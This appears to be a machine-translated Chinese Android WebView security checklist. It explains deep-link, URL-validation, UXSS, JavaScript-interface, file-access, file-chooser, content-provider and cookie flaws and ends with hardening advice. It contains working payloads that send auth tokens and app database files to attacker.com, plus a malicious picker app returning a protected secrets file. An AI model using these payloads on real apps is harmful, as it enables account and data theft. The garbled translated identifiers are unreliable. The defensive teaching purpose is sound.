资料来源:-https://tutorialboy24.blogspot.com/2022/10/android-security-checklist-for.html
WebView是一个可以内置在应用程序中的Web浏览器,它代表了Android生态系统中最广泛使用的组件;它也受到最多的潜在错误。如果可以加载任意URL或执行由攻击者控制的JavaScript代码,我们通常必须处理身份验证令牌的泄漏,盗窃任意文件以及访问任意活动的泄漏,甚至可以导致远程代码执行。
漏洞的典型示例
最常见的版本是在WebView中加载任意URL的检查或限制。让我们假设我们有一个深链接性,可以处理诸如myApp:// deeplink之类的URL。
文件androidmanifest.xml
<activity android:name=".DeeplinkActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<data android:scheme="myapp" android:host="deeplink" />
</intent-filter>
</activity>
内部,它具有处理WebView深层链接的能力:
public class DeeplinkActivity extends Activity {
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
handleDeeplink(getIntent());
}
private void handleDeeplink(Intent intent) {
Uri deeplink = intent.getData();
if ("/webview".equals(deeplink.getPath())) {
String url = deeplink.getQueryParameter("url");
handleWebViewDeeplink(url);
}
}
private void handleWebViewDeeplink(String url) {
WebView webView = ...;
setupWebView(webView);
webView.loadUrl(url, getAuthHeaders());
}
private Map<String, String> getAuthHeaders() {
Map<String, String> headers = new HashMap<>();
headers.put("Authorization", getUserToken());
return headers;
}
}
在这种情况下,攻击者可以通过创建具有以下代码的页面来进行远程攻击以获取用户的身份验证令牌:
<!DOCTYPE html>
<html>
<body style="text-align: center;">
<h1><a href="myapp://deeplink/webview?url=https://attacker.com/">Attack</a></h1>
</body>
</html>
用户点击攻击时,脆弱的应用程序会在内置的WebView中自动打开https://attacker.com,并将用户令牌添加到HTTP请求的标题中。因此,攻击者可以窃取它并获得受害者的帐户。
URL验证不足
开发人员有时会尝试检查WebView中加载哪些URL,但会错误地进行。 OVAA(过度抵消脆弱的Android应用程序)包含了此漏洞的示例。扫描报告看起来像:脆弱性
在本节中,我们将研究对URL验证的典型攻击。
仅检查主机
这是最典型的错误之一。仅检查主机的价值,忘记了方案:
private boolean isValidUrl(String url) {
Uri uri = Uri.parse(url);
return "legitimate.com".equals(uri.getHost());
}
攻击者可以使用JavaScript,内容或文件方案来绕过检查:
- javascript://legitimate.com/%0aalert(1)
- file://legitimate.com/sdcard/exploit.html
- 内容://legitimate.com/
对于JavaScript方案,攻击者可以在WebView中执行任意JavaScript代码。在内容方案的情况下,他们可以使用ContentProvider.openfile(...)方法索取具有指定权限的内容提供商,并返回任意文件。文件方案允许他们在公共目录中打开文件。
验证过程中的逻辑错误
我们还遇到一个错误,即开发人员使用逻辑上不正确的方法来验证URL:
private boolean isValidUrl(String url) {
Uri uri = Uri.parse(url);
return "https".equals(uri.getScheme()) && uri.getHost().endsWith("legitimate.com");
}
我们还看到了String.contains(...)方法。在这种情况下,有一种明显的方法可以绕过验证。
使用ercharchicaluri和Java反射API攻击
让我们浏览一个看似安全的URL验证的示例:
Uri uri = getIntent().getData();
boolean isValidUrl = "https".equals(uri.getScheme()) && uri.getUserInfo() == null && "legitimate.com".equals(uri.getHost());
if (isValidUrl) {
webView.loadUrl(uri.toString(), getAuthHeaders());
}
android.net.uri被广泛用于Android,但实际上是一个抽象类。 Android.net.uri $ esharchicaluri是其子类之一。 Java反射API使创建能够绕过此检查的URI成为可能。
文件mainActivity.java:
public class MainActivity extends Activity {
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Uri uri;
try {
Class partClass = Class.forName("android.net.Uri$Part");
Constructor partConstructor = partClass.getDeclaredConstructors()[0];
partConstructor.setAccessible(true);
Class pathPartClass = Class.forName("android.net.Uri$PathPart");
Constructor pathPartConstructor = pathPartClass.getDeclaredConstructors()[0];
pathPartConstructor.setAccessible(true);
Class hierarchicalUriClass = Class.forName("android.net.Uri$HierarchicalUri");
Constructor hierarchicalUriConstructor = hierarchicalUriClass.getDeclaredConstructors()[0];
hierarchicalUriConstructor.setAccessible(true);
Object authority = partConstructor.newInstance("legitimate.com", "legitimate.com");
Object path = pathPartConstructor.newInstance("@attacker.com", "@attacker.com");
uri = (Uri) hierarchicalUriConstructor.newInstance("https", authority, path, null, null);
}
catch (Exception e) {
throw new RuntimeException(e);
}
Intent intent = new Intent();
intent.setData(uri);
intent.setClass(this, TestActivity.class);
startActivity(intent);
}
}
File TestActivity.java:
public class TestActivity extends Activity {
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Intent intent = getIntent();
Uri uri = intent.getData();
Log.d("evil", "Scheme: " + uri.getScheme());
Log.d("evil", "UserInfo: " + uri.getUserInfo());
Log.d("evil", "Host: " + uri.getHost());
Log.d("evil", "toString(): " + uri.toString());
}
}
日志将如下:
方案:https
UserInfo:null
主持人:Legitimate.com
tostring():https://legitimate.com@attacker.com
只有使用安装在同一设备上的第三方应用程序,并且如果弱势应用程序采用攻击者控制的URI对象并专门与此操作,则可以使用此攻击。如果我们进行更改,例如
uri uri = uri.parse(intent.getData()。tostring());
重要的!从API级别28(Android 9)开始,禁止使用内部接口 - 但是可以通过使用诸如bristictionBypass之类的工具来轻松绕过。
Android的旧版本的反闪烁
在具有API级别1-24(直至Android 7.0)的设备上,Android.net.uri和Java.net.url Parsers的工作不正确。如果我们运行以下代码
字符串url =“ https://attacker.com\\\\@legitimate.com”;
log.d(“邪恶”,uri.parse(url).gethost()); // legitimate.com
打印
webView.loadurl(url,getauthheaders()); // https://attacker.com//@legitimate.com
加载
因此,这种攻击使我们能够绕过诸如
之类的检查
private boolean isValidUrl(String url) {
Uri uri = Uri.parse(url);
return "https".equals(uri.getScheme()) && "legitimate.com".equals(uri.getHost());
}
如果您的应用程序包含低于25的Minsdkversion的值,则需要保护自己免受此攻击。
有几种可能的保护:
- 将Minsdkversion的值设置为25或更高。
- 使用java.net.uri类进行验证:如果在权威部分中发现了后斜切,它会抛出urisyntaxecception。
- 验证权威的价值,而不是主机。
- 环球XSS
- 除了明显的情况外,攻击者在呼叫中控制碱和数据参数
webView.loadDataWithBaseURL("https://google.com/",
"<script>document.write(document.domain)</script>",
null, null, null);
并在任意网站上接收XSS,还有另一个广泛的UXSS版本。让我们看出导出的网络呼吸范围的代码:
public class WebActivity extends Activity {
private WebView webView;
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.web_activity);
this.webView = findViewById(R.id.webView);
this.webView.getSettings().setJavaScriptEnabled(true);
this.webView.loadUrl(getIntent().getDataString());
}
protected void onNewIntent(Intent intent) {
super.onNewIntent(intent);
this.webView.loadUrl(intent.getDataString());
}
}
在这种情况下,当活动是第一次启动时,就会调用on Create,并且每次活动都会收到新意图时,onnewintent被调用。以下代码允许在脆弱的应用程序中实现UXSS:
Intent intent = new Intent();
intent.setData(Uri.parse("https://google.com/"));
intent.setClassName("com.victim", "com.victim.WebActivity");
startActivity(intent);
new Handler().postDelayed(() -> {
intent.setData(Uri.parse("javascript:document.write(document.domain))"));
startActivity(intent);
}, 3000);
首次运行时,它将在必须执行上下文任意JavaScript代码的域中打开一个域。第二次使用JavaScript方案执行此代码。
JavaScript代码注射
开发人员通常不安全地将数据与JavaScript代码相连,从而导致XSS在域上加载:
this.webView.loadUrl("https://legitimate.com/");
String page = getIntent().getData().getQueryParameter("page");
this.webView.evaluateJavascript("loadPage('" + page + "')", null);
or with the javascript scheme:
this.webview.loadurl(“ javascript:loadPage('” + page +“')”);
如果您与JavaScript代码相连的数据,我们建议您使用JSON方法对数据进行消毒。
此攻击类似于网络世界中基于DOM的XSS。但是在Android上,根据我们将在下面解释的WebView配置,可以进一步剥削漏洞。
对内部URL处理程序的攻击
许多Android应用都使用WebViewClient.shouldoverriiderlolloading(...)方法采用自定义URL处理程序,但是它们的功能通常不安全地实现:
class CustomClient extends WebViewClient {
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
Uri uri = request.getUrl();
String url = uri.toString();
if (url.startsWith("intent://")) {
try {
Intent intent = Intent.parseUri(url, 0);
view.getContext().startActivity(intent);
} catch (URISyntaxException e) {
}
return true;
}
String page;
if ((page = uri.getQueryParameter("page")) != null) {
view.evaluateJavascript("loadPage('" + page + "')", null);
return true;
}
return super.shouldOverrideUrlLoading(view, request);
}
}
this.webView.setWebViewClient(new CustomClient());
this.webView.loadUrl(attackerControlledUrl);
目前加载了每个URL,WebView调用ShoryOverRideurlloLolloAding方法,以检查应用程序是否需要由应用程序或WebView本身处理。通常,这用于启动活动或处理程序,以获得深层链接的其他列表。重要的是要注意,即使攻击者无法绕过加载任意域的支票,他们仍然可以尝试利用处理程序。
例如,在此示例中,攻击者可以启动任意活动(我们已经在其他地方进行了更详细的详细分析),并通过打开https://legitimate.com/?page='-alert(1)-'。
在加载的页面上实现XSS。攻击JavaScript接口
如果该应用将JavaScript接口添加到WebView,则攻击者可以在本WebView中执行任意代码,可以访问它们。通常,JS接口分为两类:第一个返回数据(例如地理位置或用户的身份验证令牌)和第二个性能操作(例如拍照或向指定端点发送查询)。<<<<<<<<<<<<<<<<<<<<<<< br>
class JSInterface {
@JavascriptInterface
public String getAuthToken() {
//...
}
@JavascriptInterface
public void takePicture(String callback) {
//...
}
}
this.webView.addJavascriptInterface(new JSInterface(), "JSInterface");
this.webView.loadUrl(attackerControlledUrl);
在这种情况下,WebView自动创建一个带有指定名称的JavaScript对象,并使用也从Java代码导入的方法。为了从此示例中获取用户的令牌,我们需要做的就是运行以下代码:
<script type="text/javascript">
location.href = "https://attacker.com/?leaked_token=" + JSInterface.getAuthToken();
</script>
攻击启用了从文件URL访问的地方/文件访问
可以通过文件URL访问Universal/File访问的情况:
this.webView.getSettings().setAllowFileAccessFromFileURLs(true);
or
this.webView.getSettings().setAllowUniversalAccessFromFileURLs(true);
and the attacker can load an arbitrary URL into WebView:
this.webView.loadUrl(attackerControlledUrl);
在这种情况下,攻击者可以使用XHR查询来获取易受伤害应用程序访问的任意文件的内容:
<script type="text/javascript">
function theftFile(path, callback) {
var req = new XMLHttpRequest();
req.open("GET", "file://" + path, true);
req.onload = function(e) {
callback(req.responseText);
}
req.onerror = function(e) {
callback(null);
}
req.send();
}
var file = "/data/user/0/com.victim/databases/user.db";
theftFile(file, function(contents) {
location.href = "https://attacker.com/?data=" + encodeURIComponent(contents);
});
</script>
OVAA的扫描报告包括有关此漏洞的通知示例:
通过文件选择器盗窃任意文件
开发人员通常希望让用户从存储在其设备上的文件中进行选择。 HTML提供了为此目的的元素。在Android上,您需要实现webchromeclient.onshowfilechooser()方法来描述选择逻辑的文件。通常,它将利用隐式意图获取uris,这些意图将传递给ValueCallback.onreceiveValue()方法,而无需任何验证。这使攻击者有可能拦截意图并传递受保护文件的URI,这可能导致盗窃任意文件。
脆弱的应用程序的示例:
private static final int CONTENT_CODE = 1337;
private WebView webView;
private ValueCallback<Uri[]> callback;
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main_activity);
webView = findViewById(R.id.webView);
webView.setWebChromeClient(new WebChromeClient() {
public boolean onShowFileChooser(WebView webView, ValueCallback<Uri[]> filePathCallback, FileChooserParams fileChooserParams) {
callback = filePathCallback;
startActivityForResult(fileChooserParams.createIntent(), CONTENT_CODE);
return true;
}
});
String someAttackerControlledUrl = getIntent().getDataString();
webView.loadUrl(someAttackerControlledUrl);
}
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
if (resultCode != Activity.RESULT_OK) {
// Handle error
return;
}
switch (requestCode) {
case CONTENT_CODE: {
callback.onReceiveValue(new Uri[]{ data.getData() });
return;
}
}
}
如果您查看Android源(或者是com.google.android.webview在Google Android上的源),您也可以发现,即使是标准的FileChooserParams.onshowfilechooser()方法,也可以返回隐式意图。通常,开发人员还使用隐性意图来选择文件。这些意图可以被攻击者拦截,后者然后返回受保护文件的URI。
示例攻击:
页面的HTML代码
<input type="file" accept="application/pdf" onchange="blobCallback(window.URL.createObjectURL(this.files[0]))">
<script type="text/javascript">
function blobCallback(blobUrl) {
theftFile(blobUrl, function(contents) {
// Leak file contents to a third-party URL
new Image().src = "http://example.com/?data=" + encodeURIComponent(contents);
});
}
function theftFile(url, callback) {
var req = new XMLHttpRequest();
req.open("GET", url, true);
req.onload = function(e) {
callback(req.responseText);
}
req.onerror = function(e) {
callback("error");
}
req.send();
}
</script>
攻击者的应用程序
文件androidmanifest.xml
<activity android:name=".PickerActivity" android:enabled="true" android:exported="true">
<intent-filter android:autoVerify="true" android:priority="999999999">
<action android:name="android.intent.action.GET_CONTENT" />
<category android:name="android.intent.category.OPENABLE" />
<category android:name="android.intent.category.DEFAULT" />
<data android:mimeType="application/pdf" />
</intent-filter>
</activity>
file pickeractivity.java:
public class PickerActivity extends Activity {
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Uri uri = Uri.parse("file:///data/user/0/com.victim/shared_prefs/secrets.xml");
setResult(-1, new Intent().setData(uri));
finish();
}
}
修复:
过度抵消建议按照内容方案在“利用URI攻击”部分中列出的提示。这种通用技术还可以保护网络视图免受受保护文件的盗窃。
对内容提供商的攻击
内容访问(或默认情况下对任何内容的访问:// uris),这意味着WebView可以使用用户设备上应用程序可用的任何内容提供程序。我们遇到了漏洞,在这些漏洞中,提供者不仅记录或提供数据,而且还执行了危险的行动:
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
if ("/debug".equals(uri.getPath())) {
FileUtils.dumpData(); // copies all files from the internal directory to the SD card
return null;
}
//...
在此示例中,可以将URL像content://provider.authority/debug这样的URL加载到WebView中,然后在SD卡上读取已丢弃数据。
因此,如果未明确关闭此设置,则需要注意内容提供商正在做的事情,尤其是那些未出口的内容。
为第三方网站安装cookie
有时WebView使用cookie进行授权,而不是授权等标题。为此,该应用程序使用cookieManager并在cookie中为URL设置一个令牌,可以由攻击者控制,然后打开它:
String attackerControlledUrl = getIntent().getDataString();
CookieManager manager = CookieManager.getInstance();
manager.setCookie(attackerControlledUrl, "token=" + getUserToken());
webView.loadUrl(attackerControlledUrl);
在这种情况下,您必须首先验证URL,然后安装cookie。例如,如果为攻击者的域安装了敏感的cookie,但没有立即加载,那么这仍然构成威胁,因为该域可以在应用程序中的其他地方打开(请记住,在一个应用程序中,所有网络视图都有常见cookie存储如果使用默认配置)。
此体系结构的最佳解决方案是为其创建一个可信赖的域和预安装授权cookie的列表。
建议
为了防止漏洞,或至少要减少其潜在影响,我们建议您对您使用的每个网络视图执行以下操作:
- 通过调用WebSettings.setGeoLocationEnabled(false)。
- 通过调用WebSettings.SetallowContentAccess(false)。
- 通过调用WebSettings.SetallowFileAccess(false)关闭文件访问如果您的Minsdkversion为29或以下。
- 通过调用WebSettings.setallowfileaccessfromfileurls(false)关闭文件URL访问文件URL(如果您的Minsdkversion为15或以下)。
- 通过调用WebSettings.setallowuniversalaccessfromfileurls(false),请从文件URL中关闭通用文件访问,如果您的Minsdkversion为15或以下。
- 如果在WebView中加载了任何外部链接,则必须验证正确加载的原点 - 检查方案和主机。
- 无论javascript在任何地方获得数据调用,您只需确保已对其进行消毒。
- 如果内部处理程序将URL更改为意图对象,则必须重置后者的组件和选择器字段。为了获得额外的安全性,请验证以给定意图开放的活动是否已导出,并且没有设置权限,否则它们将保护级别设置为正常。
- 如果该应用具有Webresourceresponse的自定义植入,则需要确保攻击者无法获得任意文件的内容。
- 确保Web内容的调试选项在发行版中关闭。
- 请勿为未验证的域安装敏感的cookie。
来源:-https://tutorialboy24.blogspot.com/2022/10/android-security-checklist-for.html